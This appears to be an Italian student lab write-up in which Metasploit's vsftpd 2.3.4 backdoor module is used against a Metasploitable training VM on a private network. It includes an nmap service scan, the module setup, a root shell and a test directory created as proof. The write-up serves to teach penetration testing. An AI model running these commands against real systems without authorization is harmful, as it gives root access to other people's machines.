

Come da consegna, avvio MSF

```
kali@kali: ~  
  
(kali@kali)-[~]  
$ sudo msfdb init && msfconsole  
[+] Starting database  
[i] The database appears to be already configured, skipping initialization  
  
Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f  
EFLAGS: 00010046  
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001  
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60  
ds: 0018  es: 0018  ss: 0018  
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)  
  
Stack: 90909090909090909090909090909090  
90909090909090909090909090909090  
90909090.90909090.90909090  
90909090.90909090.90909090  
90909090.90909090.09090900  
90909090.90909090.09090900  
.....  
cccccccccccccccccccccccccccccccc  
cccccccccccccccccccccccccccccccc  
cccccccccc.....  
cccccccccccccccccccccccccccccccc  
cccccccccccccccccccccccccccccccc  
.....cccccccccc  
cccccccccccccccccccccccccccccccc  
cccccccccccccccccccccccccccccccc  
.....  
ffffffffffffffffffffffffffff  
ffffffff.....  
ffffffff.....  
ffffffff.....  
ffffffff.....  
.....  
  
Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 IO N5 00 00 00 00  
Aiee, Killing Interrupt handler  
Kernel panic: Attempted to kill the idle task!  
In swapper task - not syncing  
  
=[ metasploit v6.3.27-dev ]  
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post ]  
+ -- --=[ 1385 payloads - 46 encoders - 11 nops ]
```

Controllo che la porta ftp sia aperta, è la porta
che utilizzerò per effettuare l'accesso

```
kali@kali: ~  
kali@kali: ~  
(kali@kali)-[~]  
$ nmap -sV 192.168.1.149  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-15 10:16 CET  
Stats: 0:00:35 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan  
Service scan Timing: About 60.00% done; ETC: 10:17 (0:00:14 remaining)  
Nmap scan report for 192.168.1.149  
Host is up (0.0049s latency).  
Not shown: 977 closed tcp ports (conn-refused)  
PORT      STATE SERVICE VERSION  
21/tcp    open  ftp      vsftpd 2.3.4  
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet?  
25/tcp    open  smtp?  
53/tcp    open  domain   ISC BIND 9.4.2  
80/tcp    open  http     Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind  2 (RPC #100000)  
139/tcp   filtered netbios-ssn  
445/tcp   filtered microsoft-ds  
512/tcp   open  exec?  
513/tcp   open  login?  
514/tcp   open  shell?  
1099/tcp  open  java-rmi  GNU Classpath grmiregistry  
1524/tcp  filtered ingreslock  
2049/tcp  open  nfs       2-4 (RPC #100003)  
2121/tcp  open  ccproxy-ftp?  
3306/tcp  open  mysql?  
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc       VNC (protocol 3.3)  
6000/tcp  open  X11       (access denied)  
6667/tcp  open  irc       UnrealIRCd  
8009/tcp  open  ajp13     Apache Jserv (Protocol v1.3)  
8180/tcp  open  http     Apache Tomcat/Coyote JSP engine 1.1  
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.  
Nmap done: 1 IP address (1 host up) scanned in 195.35 seconds  
  
(kali@kali)-[~]  
$
```

```
kali@kali: ~  
ccccc  
ccccc  
.....ccccc  
ccccc  
ccccc  
.....  
ffffff  
ffffff.....  
ffffff  
ffffff.....  
ffffff.....  
ffffff.....  
ffffff.....  
Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 IO N5 00 00 00 00  
Aiee, Killing Interrupt handler  
Kernel panic: Attempted to kill the idle task!  
In swapper task - not syncing  
=  
+ -- ==[ metasploit v6.3.27-dev ]  
+ -- ==[ 2335 exploits - 1220 auxiliary - 413 post ]  
+ -- ==[ 1385 payloads - 46 encoders - 11 nops ]  
+ -- ==[ 9 evasion ]  
Metasploit tip: View advanced module options with  
advanced  
Metasploit Documentation: https://docs.metasploit.com/  
msf6 > search vsftpd  
Matching Modules  
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4

```
Backdoor Command Execution  
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor  
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor  
[*] No payload configured, defaulting to cmd/unix/interact
```

```
kali@kali: ~  
kali@kali: ~  
View the full module info with the info, or info -d command.  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149  
rhosts => 192.168.1.149  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options  
Module options (exploit/unix/ftp/vsftpd_234_backdoor):  


| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                               |
| CPORT   |                 | no       | The local client port                                                                                  |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                           |
| RHOSTS  | 192.168.1.149   | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                  |

  
Payload options (cmd/unix/interact):  


| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
| ---- | -----           | -----    | -----       |

  
Exploit target:  


| Id | Name      |
|----|-----------|
| -- | ----      |
| 0  | Automatic |

  
View the full module info with the info, or info -d command.  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > |
```

```
kali@kali: ~  
kali@kali: ~  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit  
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)  
[*] 192.168.1.149:21 - USER: 331 Please specify the password.  
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...  
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)  
[*] Found shell.  
[*] Command shell session 1 opened (192.168.1.100:46061 -> 192.168.1.149:6200) at 2024-01-15 10:30:57 +0100  
  
ifconfig  
eth0 Link encap:Ethernet HWaddr 08:00:27:b7:1e:00  
inet addr:192.168.1.149 Bcast:192.168.1.255 Mask:255.255.255.0  
inet6 addr: fe80::a00:27ff:feb7:1e00/64 Scope:Link  
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1  
RX packets:2469 errors:0 dropped:0 overruns:0 frame:0  
TX packets:2648 errors:0 dropped:0 overruns:0 carrier:0  
collisions:0 txqueuelen:1000  
RX bytes:197717 (193.0 KB) TX bytes:199494 (194.8 KB)  
Base address:0xd020 Memory:f0200000-f0220000  
  
lo Link encap:Local Loopback  
inet addr:127.0.0.1 Mask:255.0.0.0  
inet6 addr: ::1/128 Scope:Host  
UP LOOPBACK RUNNING MTU:16436 Metric:1  
RX packets:350 errors:0 dropped:0 overruns:0 frame:0  
TX packets:350 errors:0 dropped:0 overruns:0 carrier:0  
collisions:0 txqueuelen:0  
RX bytes:74693 (72.9 KB) TX bytes:74693 (72.9 KB)
```

imposto come host bersaglio la macchina meta

avvio l'exploit e utilizzo ifconfig per verificare che io sia nella macchina meta

Creo la directory e controllo che si sia correttamente creata

A terminal window with a dark background and light text. The title bar shows 'kali@kali: ~' and search, window control icons. There are two tabs, both labeled 'kali@kali: ~'. The terminal content shows the command 'sudo mkdir test_meta' followed by 'ls', which lists the contents of the root directory. The 'test_meta' directory is visible in the list. The cursor is on a new line at the bottom.

```
kali@kali: ~  
kali@kali: ~ x kali@kali: ~ x  
sudo mkdir test_meta  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
test_meta  
tmp  
usr  
var  
vmlinuz  
█
```